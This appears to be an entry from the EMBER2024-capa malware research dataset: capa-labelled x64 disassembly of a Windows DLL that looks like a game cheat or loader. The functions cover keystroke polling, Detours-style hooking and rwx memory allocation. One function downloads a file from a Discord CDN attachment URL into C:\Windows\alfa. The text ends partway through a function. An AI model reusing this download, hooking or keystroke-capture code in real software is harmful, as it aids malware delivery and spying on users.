joyce8/EMBER2024-capa huggingface dataset:
Function at 0x18001a144
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x140
mov rax, qword [0x1800d2070]
xor rax, rsp
mov qword [rsp + 0x130], rax
xor r12d, r12d
mov rbp, rdx
mov rbx, rcx
test rcx, rcx
je 0x18001a2bc
movsxd rax, dword [rcx + 0x3c]
mov r9d, dword [rax + rcx + 0x88]
mov r11d, dword [rax + rcx + 0x8c]
lea r8, [rcx + r9]
test r11d, r11d
je 0x18001a2bc
lea r13d, [r12 + 1]
cmp rdx, 0xffff
ja 0x18001a26b
mov ecx, dword [r8 + 0x1c]
movzx eax, bp
sub ax, word [r8 + 0x10]
add rcx, rbx
add ax, r13w
movzx edx, ax
mov edi, dword [rcx + rdx*4]
cmp edi, r9d
jb 0x18001a26b
lea eax, [r9 + r11]
cmp edi, eax
jae 0x18001a26b
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.180075060
lea rdx, [rbx + rdi]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r12b
jne 0x18001a1fa
test r8, r8
je 0x18001a2bc
lea rcx, [rsp + 0x20]
call fcn.1800749b0
mov edx, 0x2e
lea rcx, [rsp + 0x20]
call fcn.1800748f4
lea rdi, [rax + r13]
mov byte [rax], r12b
cmp byte [rdi], 0x23
jne 0x18001a23d
lea rcx, [rdi + 1]
call fcn.18007fb64
movzx edi, ax
lea rcx, [rsp + 0x20]
call fcn.18001a084
mov rsi, rax
cmp rax, rbx
jne 0x18001a25e
mov rdx, rbp
mov rcx, rdi
call fcn.18007ebf8
test eax, eax
je 0x18001a2bc
mov rdx, rdi
mov rcx, rsi
call fcn.18001a144
jmp 0x18001a2be
mov ecx, dword [r8 + 0x18]
mov edi, r12d
mov r15d, dword [r8 + 0x20]
sub ecx, r13d
lea r10d, [rdi + rcx]
mov rsi, rbp
shr r10d, 1
lea rax, [r15 + r10*4]
mov edx, dword [rax + rbx]
add rdx, rbx
sub rsi, rdx
mov al, byte [rdx]
cmp al, byte [rdx + rsi]
jne 0x18001a2a3
add rdx, r13
test al, al
jne 0x18001a290
mov eax, r12d
jmp 0x18001a2a8
sbb eax, eax
or eax, r13d
test eax, eax
jns 0x18001a2b2
lea edi, [r10 + 1]
jmp 0x18001a2b8
jle 0x18001a2e9
lea ecx, [r10 - 1]
cmp edi, ecx
jbe 0x18001a279
xor eax, eax
mov rcx, qword [rsp + 0x130]
xor rcx, rsp
call fcn.180072240
mov rbx, qword [rsp + 0x190]
add rsp, 0x140
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov ecx, dword [r8 + 0x24]
add rcx, rbx
cmp word [rcx + r10*2], r12w
je 0x18001a2bc
movzx edx, word [rcx + r10*2]
mov ecx, dword [r8 + 0x1c]
add rcx, rbx
mov edi, dword [rcx + rdx*4]
cmp edi, r9d
jb 0x18001a33b
lea eax, [r9 + r11]
cmp edi, eax
jae 0x18001a33b
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x104
call fcn.180075060
lea rdx, [rbx + rdi]
or r8, 0xffffffffffffffff
inc r8
cmp byte [rdx + r8], r12b
jne 0x18001a32d
jmp 0x18001a203
lea rax, [rbx + rdi]
jmp 0x18001a2be
Function at 0x18001c788
Capabilities:
Log keystrokes via polling

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x1800d2070]
xor rax, rsp
mov qword [rbp - 8], rax
mov rcx, qword [0x1800ed810]
lea rdx, [rbp - 0x28]
mov rdi, qword [0x1800ed1b0]
call qword [sym.imp.USER32.dll_GetClientRect]
mov eax, dword [rbp - 0x20]
lea rcx, [rbp - 0x10]
sub eax, dword [rbp - 0x28]
movd xmm1, eax
mov eax, dword [rbp - 0x1c]
sub eax, dword [rbp - 0x24]
cvtdq2ps xmm1, xmm1
movd xmm0, eax
cvtdq2ps xmm0, xmm0
movss dword [rdi + 0x10], xmm1
movss dword [rdi + 0x14], xmm0
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rbp - 0x10]
xorps xmm1, xmm1
mov rax, rcx
xorps xmm0, xmm0
sub rax, qword [0x1800ed818]
cvtsi2ss xmm0, qword [0x1800ed820]
cvtsi2ss xmm1, rax
divss xmm1, xmm0
movss dword [rdi + 0x18], xmm1
mov qword [0x1800ed818], rcx
mov ecx, 0x11
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov bl, 1
and al, bl
mov ecx, 0x10
mov byte [rdi + 0x148], al
call qword [sym.imp.USER32.dll_GetKeyState]
shr eax, 0xf
mov ecx, 0x12
and al, bl
mov byte [rdi + 0x149], al
call qword [sym.imp.USER32.dll_GetKeyState]
mov rcx, qword [0x1800ed1b0]
shr eax, 0xf
and al, bl
mov byte [rdi + 0x14b], 0
mov byte [rdi + 0x14a], al
cmp byte [rcx + 0x3a3], 0
lea rbx, [rcx + 0x130]
je 0x18001c8b1
cvttss2si eax, dword [rbx]
lea rdx, [rbp - 0x18]
mov dword [rbp - 0x18], eax
cvttss2si eax, dword [rcx + 0x134]
mov rcx, qword [0x1800ed810]
mov dword [rbp - 0x14], eax
call qword [sym.imp.USER32.dll_ClientToScreen]
mov edx, dword [rbp - 0x14]
mov ecx, dword [rbp - 0x18]
call qword [sym.imp.USER32.dll_SetCursorPos]
mov eax, 0xff7fffff
mov dword [rbx], eax
mov dword [rbx + 4], eax
call qword [sym.imp.USER32.dll_GetForegroundWindow]
test rax, rax
je 0x18001c91b
mov rdx, qword [0x1800ed810]
cmp rax, rdx
je 0x18001c8df
mov rcx, rax
call qword [sym.imp.USER32.dll_IsChild]
test eax, eax
je 0x18001c91b
lea rcx, [rbp - 0x30]
call qword [sym.imp.USER32.dll_GetCursorPos]
test eax, eax
je 0x18001c91b
mov rcx, qword [0x1800ed810]
lea rdx, [rbp - 0x30]
call qword [sym.imp.USER32.dll_ScreenToClient]
test eax, eax
je 0x18001c91b
movd xmm0, dword [rbp - 0x30]
movd xmm1, dword [rbp - 0x2c]
cvtdq2ps xmm0, xmm0
cvtdq2ps xmm1, xmm1
movss dword [rbx], xmm0
movss dword [rbx + 4], xmm1
cmp byte [rdi + 0xc8], 0
je 0x18001c929
or eax, 0xffffffff
jmp 0x18001c936
mov rax, qword [0x1800ed1b0]
mov eax, dword [rax + 0x1fb8]
cmp dword [0x1800ea608], eax
je 0x18001c949
mov dword [0x1800ea608], eax
call fcn.18001c72c
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.180072240
mov rbx, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x50
pop rbp
ret
Function at 0x18001e008
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
not r8d
mov r10, rcx
mov r9d, r8d
test rdx, rdx
je 0x18001e062
mov r11b, 0x23
lea rdi, [0x1800bacd0]
movzx ebx, byte [r10]
dec rdx
inc r10
cmp bl, r11b
jne 0x18001e04c
cmp rdx, 2
jb 0x18001e04c
cmp byte [r10], r11b
jne 0x18001e04c
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
xor rcx, rbx
shr r9d, 8
xor r9d, dword [rdi + rcx*4]
test rdx, rdx
jne 0x18001e02a
jmp 0x18001e0a3
mov dl, byte [rcx]
inc r10
test dl, dl
je 0x18001e0a3
mov r11b, 0x23
lea rdi, [0x1800bacd0]
cmp dl, r11b
jne 0x18001e087
cmp byte [r10], r11b
jne 0x18001e087
cmp byte [r10 + 1], r11b
cmove r9d, r8d
movzx ecx, r9b
movzx eax, dl
mov dl, byte [r10]
xor rcx, rax
shr r9d, 8
inc r10
xor r9d, dword [rdi + rcx*4]
test dl, dl
jne 0x18001e075
mov rbx, qword [rsp + 8]
not r9d
mov rdi, qword [rsp + 0x10]
mov eax, r9d
ret

Function at 0x18001e1d8
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rsi, r8
test r8, r8
je 0x18001e1f8
and qword [r8], 0
lea rdx, [0x1800bfb04]
call fcn.18001e0b4
mov rbx, rax
test rax, rax
je 0x18001e2df
mov rcx, rax
call fcn.180080234
mov ebp, eax
cmp eax, 0xffffffff
je 0x18001e2d7
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call fcn.180080b58
test eax, eax
jne 0x18001e2d7
mov rcx, rbx
call fcn.180080234
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x18001e2d7
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call fcn.180080b58
test eax, eax
jne 0x18001e2d7
mov rbp, rdi
cmp rdi, 0xffffffffffffffff
je 0x18001e2d7
mov rax, qword [0x1800ed1b0]
test rax, rax
je 0x18001e279
inc dword [rax + 0x3bc]
mov rcx, rbp
call fcn.180086f08
mov rdi, rax
test rax, rax
je 0x18001e2d7
mov r9, rbx
mov r8, rbp
mov edx, 1
mov rcx, rax
call fcn.180081980
mov rcx, rbx
cmp rax, rbp
je 0x18001e2c5
call fcn.1800807d8
mov rax, qword [0x1800ed1b0]
test rax, rax
je 0x18001e2bb
dec dword [rax + 0x3bc]
mov rcx, rdi
call fcn.18007eb0c
jmp 0x18001e2df
call fcn.1800807d8
test rsi, rsi
je 0x18001e2d2
mov qword [rsi], rbp
mov rax, rdi
jmp 0x18001e2e1
mov rcx, rbx
call fcn.1800807d8
xor eax, eax
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x18001fe00
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
mov dword [rsp + 0x10], edx
sub rsp, 0x28
movsxd rdx, dword [rcx + 0xc0]
mov r9d, 4
mov rax, qword [rcx + 0xc8]
mov r8d, dword [rax + rdx*4 - 4]
lea rdx, [rsp + 0x38]
not r8d
movzx eax, byte [rdx]
inc rdx
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
lea rax, [0x1800bacd0]
xor r8d, dword [rax + rcx*4]
sub r9, 1
jne 0x18001fe29
not r8d
mov ecx, r8d
call fcn.180020014
mov eax, r8d
add rsp, 0x28
ret
Function at 0x18001fe60
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x48
mov rax, qword [0x1800d2070]
xor rax, rsp
mov qword [rsp + 0x30], rax
movss xmm0, dword [rdx]
mov r8, rcx
subss xmm0, dword [rcx + 0x10]
movss xmm1, dword [rdx + 8]
mov r9d, 0x10
subss xmm1, dword [rcx + 0x10]
cvttss2si eax, xmm0
movss xmm0, dword [rdx + 4]
subss xmm0, dword [rcx + 0x14]
mov dword [rsp + 0x20], eax
cvttss2si eax, xmm0
movss xmm0, dword [rdx + 0xc]
subss xmm0, dword [rcx + 0x14]
movsxd rcx, dword [rcx + 0xc0]
mov dword [rsp + 0x24], eax
cvttss2si eax, xmm1
mov dword [rsp + 0x28], eax
cvttss2si eax, xmm0
mov dword [rsp + 0x2c], eax
mov rax, qword [r8 + 0xc8]
lea r8, [rsp + 0x20]
mov edx, dword [rax + rcx*4 - 4]
not edx
movzx eax, byte [r8]
inc r8
movzx ecx, dl
xor rcx, rax
shr edx, 8
lea rax, [0x1800bacd0]
xor edx, dword [rax + rcx*4]
sub r9, 1
jne 0x18001fedc
not edx
mov ecx, edx
call fcn.180020014
mov eax, edx
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.180072240
add rsp, 0x48
ret
Function at 0x180027e34
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1800d2070]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rax, qword [0x1800ed1b0]
mov r10d, 8
mov qword [rsp + 0x20], rcx
mov r9, qword [rax + 0x1aa0]
movsxd rcx, dword [r9 + 0xc0]
mov rax, qword [r9 + 0xc8]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [rsp + 0x20]
not r8d
movzx eax, byte [rcx]
inc rcx
movzx edx, r8b
xor rdx, rax
shr r8d, 8
lea rax, [0x1800bacd0]
xor r8d, dword [rax + rdx*4]
sub r10, 1
jne 0x180027e7b
not r8d
lea rdx, [rsp + 0x20]
lea rcx, [r9 + 0xc0]
mov dword [rsp + 0x20], r8d
call fcn.18002e254
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180072240
add rsp, 0x38
ret

Function at 0x180027ec8
Capabilities:
Encode data using xor
Hash data with crc32

Disassembly:
sub rsp, 0x38
mov rax, qword [0x1800d2070]
xor rax, rsp
mov qword [rsp + 0x28], rax
mov rax, qword [0x1800ed1b0]
mov r10d, 4
mov dword [rsp + 0x20], ecx
mov r9, qword [rax + 0x1aa0]
movsxd rcx, dword [r9 + 0xc0]
mov rax, qword [r9 + 0xc8]
mov r8d, dword [rax + rcx*4 - 4]
lea rcx, [rsp + 0x20]
not r8d
movzx eax, byte [rcx]
inc rcx
movzx edx, r8b
xor rdx, rax
shr r8d, 8
lea rax, [0x1800bacd0]
xor r8d, dword [rax + rdx*4]
sub r10, 1
jne 0x180027f0e
not r8d
lea rdx, [rsp + 0x20]
lea rcx, [r9 + 0xc0]
mov dword [rsp + 0x20], r8d
call fcn.18002e254
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.180072240
add rsp, 0x38
ret
Function at 0x180054228
Capabilities:
Download url
Receive data

Disassembly:
push rdi
sub rsp, 0xb0
mov rax, qword [0x1800d2070]
xor rax, rsp
mov qword [rsp + 0xa0], rax
mov rdi, rcx
and qword [rsp + 0x20], 0
xor r9d, r9d
lea r8, str.C:Windows_alfa
lea rdx, str.https:__cdn.discordapp.com_attachments_1125752354139025512_1157026607878381689_alfa_ex65171c7fis6515caffhm9d271ec619aaf611088c1f5afcac80ff75e7708ec823575f23df788511629497
xor ecx, ecx
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor ecx, ecx
test eax, eax
sets cl
cmp ecx, 1
je 0x180054479
mov dword [rsp + 0x44], 0
mov qword [rsp + 0x50], 0
cmp qword [0x1800ed0a0], 0
jne 0x1800542a0
mov rcx, rdi
call fcn.180054cac
test al, al
je 0x180054460
lea rcx, str.rust.temp
mov rax, qword [0x1800ed1b0]
mov qword [rax + 0x20], rcx
mov dword [rax + 0x1c], 0x56b5e621
mov byte [rax + 0x3a4], 0
cmp qword [0x1800ed2c8], 0
jne 0x180054358
or eax, 0xffffffff
mov dword [rsp + 0x68], eax
mov dword [rsp + 0x6c], eax
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x74], eax
mov dword [rsp + 0x78], eax
or dword [rsp + 0x7c], 0xffffffff
mov dword [rsp + 0x80], eax
mov dword [rsp + 0x84], eax
mov dword [rsp + 0x88], eax
mov dword [rsp + 0x8c], 0xfffffffd
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x94], eax
and qword [rsp + 0x98], 0
and qword [rsp + 0x30], 0
lea rax, [0x1800ed2c8]
mov qword [rsp + 0x28], rax
and qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov r8d, 0x1553f
lea rdx, [0x1800d50c0]
mov rcx, qword [0x1800ed0b8]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1800ed7f0], 0
jne 0x180054367
call fcn.18001bfe4
call fcn.18001c788
call fcn.18002131c
cmp byte [0x1800ed10c], 0
je 0x1800543d0
xorps xmm1, xmm1
movss xmm0, dword [0x1800ecfac]
ucomiss xmm0, xmm1
jp 0x18005438c
je 0x1800543d0
movss xmm0, dword [0x1800ecfa8]
ucomiss xmm0, xmm1
jp 0x18005439b
je 0x1800543d0
mov rcx, qword [0x1800ed1b8]
call fcn.1800279d0
nop
call fcn.180016240
jmp 0x1800543af
cmp dword [0x1800d31ec], 0
je 0x1800543bd
call fcn.18004f058
cmp byte [0x1800ea7e8], 0
je 0x1800543cb
call fcn.18005318c
call fcn.180027a68
call fcn.1800228a4
call fcn.180022b54
mov rcx, qword [0x1800ed0a8]
mov rax, qword [rcx]
xor r9d, r9d
lea r8, [0x1800ed2c0]
lea edx, [r9 + 1]
call qword [rax + 0x108]
mov rdx, qword [0x1800ed1b0]
add rdx, 0x1d98
mov al, byte [rdx]
neg al
sbb rcx, rcx
and rcx, rdx
call fcn.18001b3fc
mov rdx, qword [0x1800ed1b0]
mov r8b, byte [rdx + 0x1d98]
lea rax, [rdx + 0x1dc0]
mov ecx, 0x28
test r8b, r8b
cmovne rcx, rax
movss xmm0, dword [rcx]
movss dword [0x1800ecfac], xmm0
lea rax, [rdx + 0x1dbc]
mov ecx, 0x24
cmovne rcx, rax
movss xmm0, dword [rcx]
movss dword [0x1800ecfa8], xmm0
jmp 0x180054460
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.180072240
add rsp, 0xb0
pop rdi
ret
lea r9d, [rcx + 0xf]
lea r8, [0x1800c18a0]
lea rdx, str.outdated__please_download_the_new_version_discord.gg_HMvqUjAzEj
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
xor ecx, ecx
call fcn.180087e40
nop
int3
Function at 0x18005ee24
Capabilities:
Read file on windows

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x20
mov rbp, r8
mov r14, rdx
mov rsi, rcx
test r8, r8
jg 0x18005ee44
xor eax, eax
jmp 0x18005ef2a
cmp qword [rcx + 0x68], 0
je 0x18005ee55
call fcn.180055c24
jmp 0x18005ef2a
mov rax, qword [rcx + 0x38]
mov rdi, rbp
mov rdx, qword [rax]
test rdx, rdx
je 0x18005ee6c
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x18005ee6e
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x18005eea0
cmp rax, rbp
mov rbx, rbp
mov rcx, r14
cmovb rbx, rax
mov r8, rbx
call fcn.1800749b0
mov rax, qword [rsi + 0x50]
add r14, rbx
sub rdi, rbx
sub dword [rax], ebx
mov rcx, qword [rsi + 0x38]
movsxd rax, ebx
add qword [rcx], rax
cmp qword [rsi + 0x80], 0
je 0x18005ef24
mov r8, qword [rsi + 0x18]
lea rax, [rsi + 0x70]
cmp qword [r8], rax
jne 0x18005eed7
mov rcx, qword [rsi + 0x88]
mov rdx, qword [rsi + 0x90]
mov qword [r8], rcx
sub edx, ecx
mov rax, qword [rsi + 0x38]
mov qword [rax], rcx
mov rax, qword [rsi + 0x50]
mov dword [rax], edx
mov ebx, 0xfff
jmp 0x18005ef00
mov r9, qword [rsi + 0x80]
mov r8, rbx
mov edx, 1
mov rcx, r14
call fcn.180081980
add r14, rax
sub rdi, rax
cmp rax, rbx
jne 0x18005ef24
cmp rdi, rbx
ja 0x18005eede
test rdi, rdi
je 0x18005ef24
mov r9, qword [rsi + 0x80]
mov r8, rdi
mov edx, 1
mov rcx, r14
call fcn.180081980
sub rdi, rax
sub rbp, rdi
mov rax, rbp
add rsp, 0x20
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret

Function at 0x18006cdf0
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword [rsp + 0x78]
sub rax, 0x10000
mov rcx, rax
call fcn.18006d010
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x70]
cmp qword [rsp + 0x20], rax
jbe 0x18006cef7
mov rax, qword [section..data]
cmp qword [rsp + 0x20], rax
jb 0x18006ce54
mov rax, qword [0x1800d2008]
cmp qword [rsp + 0x20], rax
ja 0x18006ce54
mov rax, qword [rsp + 0x20]
sub rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x18006ce16
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.180075060
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x18006ce83
jmp 0x18006cef7
cmp dword [rsp + 0x50], 0x10000
jne 0x18006ceda
cmp qword [rsp + 0x48], 0x10000
jb 0x18006ceda
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x18006cec8
mov rax, qword [rsp + 0x28]
jmp 0x18006cef9
mov rax, qword [rsp + 0x20]
sub rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x18006cef2
mov rax, qword [rsp + 0x38]
sub rax, 0x10000
mov rcx, rax
call fcn.18006d010
mov qword [rsp + 0x20], rax
jmp 0x18006ce16
xor eax, eax
add rsp, 0x68
ret
Function at 0x18006cf00
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rcx, qword [rsp + 0x70]
call fcn.18006d050
mov qword [rsp + 0x20], rax
mov rax, qword [rsp + 0x78]
cmp qword [rsp + 0x20], rax
jae 0x18006d003
mov rax, qword [section..data]
cmp qword [rsp + 0x20], rax
jb 0x18006cf5b
mov rax, qword [0x1800d2008]
cmp qword [rsp + 0x20], rax
ja 0x18006cf5b
mov rax, qword [rsp + 0x20]
add rax, 0x8000000
mov qword [rsp + 0x20], rax
jmp 0x18006cf1d
mov r8d, 0x30
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.180075060
mov r8d, 0x30
lea rdx, [rsp + 0x30]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
jne 0x18006cf8a
jmp 0x18006d003
cmp dword [rsp + 0x50], 0x10000
jne 0x18006cfe1
cmp qword [rsp + 0x48], 0x10000
jb 0x18006cfe1
mov r9d, 0x40
mov r8d, 0x3000
mov edx, 0x10000
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x18006cfcf
mov rax, qword [rsp + 0x28]
jmp 0x18006d005
mov rax, qword [rsp + 0x20]
add rax, 0x10000
mov qword [rsp + 0x20], rax
jmp 0x18006cffe
mov rax, qword [rsp + 0x48]
mov rcx, qword [rsp + 0x30]
add rcx, rax
mov rax, rcx
mov rcx, rax
call fcn.18006d050
mov qword [rsp + 0x20], rax
jmp 0x18006cf1d
xor eax, eax
add rsp, 0x68
ret
Function at 0x18006d0a0
Capabilities:
Hook routines via microsoft detours

Disassembly:
mov qword [rsp + 8], rcx
sub rsp, 0x58
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.18006d630
mov qword [rsp + 0x28], 0
cmp qword [0x1800eb528], 0
jne 0x18006d0e8
cmp qword [0x1800eb520], 0
je 0x18006d0e8
mov rax, qword [0x1800eb520]
mov qword [0x1800eb528], rax
cmp qword [0x1800eb528], 0
je 0x18006d18e
mov rax, qword [0x1800eb528]
cmp qword [rax + 0x10], 0
je 0x18006d18e
mov rax, qword [0x1800eb528]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x18006d18e
mov rax, qword [0x1800eb528]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x18006d18e
mov rax, qword [0x1800eb528]
mov rax, qword [rax + 0x10]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x38]
cmp qword [rsp + 0x28], rax
jb 0x18006d154
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x28], rax
jbe 0x18006d15b
xor eax, eax
jmp 0x18006d309
mov rax, qword [0x1800eb528]
mov rcx, qword [rsp + 0x28]
mov rcx, qword [rcx + 0x48]
mov qword [rax + 0x10], rcx
mov r8d, 0x60
mov edx, 0xcc
mov rcx, qword [rsp + 0x28]
call fcn.180075060
mov rax, qword [rsp + 0x28]
jmp 0x18006d309
mov rax, qword [0x1800eb520]
mov qword [0x1800eb528], rax
jmp 0x18006d1b0
mov rax, qword [0x1800eb528]
mov rax, qword [rax + 8]
mov qword [0x1800eb528], rax
cmp qword [0x1800eb528], 0
je 0x18006d1fd
cmp qword [0x1800eb528], 0
je 0x18006d1fb
mov rax, qword [0x1800eb528]
cmp qword [rax + 0x10], 0
je 0x18006d1fb
mov rax, qword [0x1800eb528]
mov rcx, qword [rsp + 0x38]
cmp qword [rax + 0x10], rcx
jb 0x18006d1fb
mov rax, qword [0x1800eb528]
mov rcx, qword [rsp + 0x30]
cmp qword [rax + 0x10], rcx
ja 0x18006d1fb
jmp 0x18006d12c
jmp 0x18006d19e
mov rcx, qword [rsp + 0x60]
call fcn.18006f4b0
and eax, 0xffff
mov eax, eax
mov rcx, qword [rsp + 0x60]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x60], rax
mov r8, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x60]
call fcn.18006d310
mov qword [rsp + 0x48], rax
cmp qword [rsp + 0x48], 0
je 0x18006d307
mov rax, qword [rsp + 0x48]
mov qword [0x1800eb528], rax
mov rax, qword [0x1800eb528]
mov dword [rax], 0x52727464
mov rax, qword [0x1800eb528]
mov qword [rax + 0x10], 0
mov rax, qword [0x1800eb528]
mov rcx, qword [0x1800eb520]
mov qword [rax + 8], rcx
mov rax, qword [0x1800eb528]
mov qword [0x1800eb520], rax
mov qword [rsp + 0x40], 0
mov rax, qword [0x1800eb528]
add rax, 0x60
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 0x2a8
jmp 0x18006d2b8
mov eax, dword [rsp + 0x20]
dec eax
mov dword [rsp + 0x20], eax
cmp dword [rsp + 0x20], 1
jle 0x18006d2f2
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rsp + 0x40]
mov qword [rcx + rax + 0x48], rdx
movsxd rax, dword [rsp + 0x20]
imul rax, rax, 0x60
mov rcx, qword [rsp + 0x28]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x40], rax
jmp 0x18006d2ae
mov rax, qword [0x1800eb528]
mov rcx, qword [rsp + 0x40]
mov qword [rax + 0x10], rcx
jmp 0x18006d12c
xor eax, eax
add rsp, 0x58
ret
Function at 0x1800713dc
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x180071460
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1800ac9c0]
cmp byte [rcx + rax], 0
je 0x180071460
dec r8
sub rdx, 1
jne 0x180071446
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x18007ffb4
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
mov eax, 0x1050
call fcn.180073130
sub rsp, rax
mov rax, qword [0x1800d2070]
xor rax, rsp
mov qword [rsp + 0x1040], rax
mov r15, r8
mov rbp, rdx
mov rbx, rcx
call fcn.180093f74
xor edi, edi
movsxd r14, eax
cmp dword [rbx + 0x10], edi
jne 0x180080003
mov rax, rbp
jmp 0x18008010b
mov rax, qword [rbx]
mov rcx, r14
sub rax, qword [rbx + 8]
and ecx, 0x3f
cqo
mov rbx, r14
sub rax, rdx
sar rbx, 6
sar rax, 1
mov r9, r15
lea r12, [rcx + rcx*8]
mov rsi, rax
lea rax, [0x180000000]
xor r8d, r8d
mov rdx, qword [rax + rbx*8 + 0xec770]
mov ecx, r14d
mov rdx, qword [rdx + r12*8 + 0x30]
call fcn.1800944e4
mov r13, rax
lea rax, [0x180000000]
mov rcx, qword [rax + rbx*8 + 0xec770]
cmp r13, qword [rcx + r12*8 + 0x30]
jne 0x180080107
mov rcx, qword [rcx + r12*8 + 0x28]
lea r9, [rsp + 0x30]
mov r8d, 0x1000
mov qword [rsp + 0x20], rdi
lea rdx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x180080107
mov r9, r15
xor r8d, r8d
mov rdx, rbp
mov ecx, r14d
call fcn.1800944e4
test rax, rax
js 0x180080107
mov eax, dword [rsp + 0x30]
cmp rsi, rax
jg 0x180080107
lea rdx, [rsp + 0x40]
add rdx, rax
lea rcx, [rsp + 0x40]
test rsi, rsi
je 0x1800800f9
lea r8, [0x180000000]
cmp rcx, rdx
jae 0x1800800f9
cmp byte [rcx], 0xd
jne 0x1800800df
lea rax, [rdx - 1]
cmp rcx, rax
jae 0x1800800ee
cmp byte [rcx + 1], 0xa
jne 0x1800800ee
inc rcx
jmp 0x1800800ee
movzx eax, byte [rcx]
movsx rax, byte [rax + r8 + 0xd2470]
add rcx, rax
inc rdi
